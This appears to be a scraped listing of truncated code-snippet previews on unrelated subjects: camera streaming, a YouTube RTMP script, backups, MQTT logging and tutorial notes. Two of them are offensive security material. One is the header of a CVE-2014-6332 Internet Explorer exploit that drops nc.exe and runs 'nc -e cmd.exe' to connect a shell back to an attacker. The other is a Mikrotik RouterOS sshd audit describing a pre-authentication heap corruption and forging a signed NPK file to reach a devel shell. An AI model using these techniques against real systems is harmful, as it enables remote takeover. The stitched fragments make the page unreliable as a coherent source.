| // Live video stream management for HTML5 video. Uses FFMPEG to connect to H.264 camera stream, | |
| // Camera stream is remuxed to a MP4 stream for HTML5 video compatibility and segments are recorded for later playback | |
| var liveStream = function (req, resp) { // handle each client request by instantiating a new FFMPEG instance | |
| // For live streaming, create a fragmented MP4 file with empty moov (no seeking possible). | |
| var reqUrl = url.parse(req.url, true) | |
| var cameraName = typeof reqUrl.pathname === "string" ? reqUrl.pathname.substring(1) : undefined; | |
| if (cameraName) { | |
| try { | |
| cameraName = decodeURIComponent(cameraName); |
| #! /bin/bash | |
| # | |
| # Diffusion youtube avec ffmpeg | |
| # Configurer youtube avec une résolution 720p. La vidéo n'est pas scalée. | |
| VBR="2500k" # Bitrate de la vidéo en sortie | |
| FPS="30" # FPS de la vidéo en sortie | |
| QUAL="medium" # Preset de qualité FFMPEG | |
| YOUTUBE_URL="rtmp://a.rtmp.youtube.com/live2" # URL de base RTMP youtube |
| """ | |
| This script was used to create the figures for http://jrsmith3.github.io/sample-logs-the-secret-to-managing-multi-person-projects.html from a PDF file containing some old CMU sample logs. | |
| """ | |
| import PyPDF2 | |
| from wand.image import Image | |
| import io | |
| import os | |
| <html> | |
| <head> | |
| <!-- | |
| CVE-2014-6332 exploit to bypass IE protected mode if enabled (with localhost) then get shell | |
| The exploit drops nc.exe then execute "nc -e cmd.exe -n ip port" | |
| 'server_ip' and 'server_port' in javascript below determined the connect back target | |
| Tested on | |
| - IE11 + Windows 7 64-bit (EPM is off) | |
| - IE11 + Windoes 8.1 64-bit (EPM is off) |
| #!/bin/bash -e | |
| # | |
| # Improved backup script for Ubiquiti UniFi controller | |
| # original source: http://wiki.ubnt.com/UniFi#Automated_Backup | |
| # | |
| # must contain: | |
| # username=<username> | |
| # password=<password> | |
| source ~/.unifi-backup |
Note: these are pretty rough notes I made for my team on the fly as I was reading through some pages. Some could be mildly inaccurate but hopefully not terribly so. I might resort to convenient fiction & simplification sometimes.
My top contenders, mostly based on popularity / community etc:
Mostly about MVC (or derivatives, MVP / MVVM).
This face-boxer.py script is more-or-less the same code that you'll find in the OpenCV tutorial: Face Detection using Haar Cascades. For another variation, with more explanation, check out RealPython's tutorial.
The face-boxer.py script is designed to be run from the command-line. It has two required arugments:
| { | |
| "version":2.0, | |
| "display_hints":[ | |
| { | |
| "key":"GPCAMERA_GROUP_VIDEO", | |
| "display_name":"Video Settings", | |
| "settings":[ | |
| { | |
| "setting_id":5, | |
| "widget_type":"select", |
| #!/usr/bin/env python3 | |
| import paho.mqtt.client as mqtt | |
| from influxdb import InfluxDBClient | |
| TOPIC = "/sensors/#" | |
| DB_SRV = { | |
| "host": "#.#.#.#", | |
| "username": "#", | |
| "password": "#", |
| During an audit the Mikrotik RouterOS sshd (ROSSSH) has been identified to have a remote previous to authentication heap corruption in its sshd component. | |
| Exploitation of this vulnerability will allow full access to the router device. | |
| This analysis describes the bug and includes a way to get developer access to recent versions of Mikrotik RouterOS | |
| using the /etc/devel-login file. This is done by forging a modified NPK file using a correct signature and logging | |
| into the device with username ‘devel’ and the password of the administrator. This will drop into a busybox shell for | |
| further researching the sshd vulnerability using gdb and strace tools that have been compiled for the Mikrotik busybox | |
| platform. |
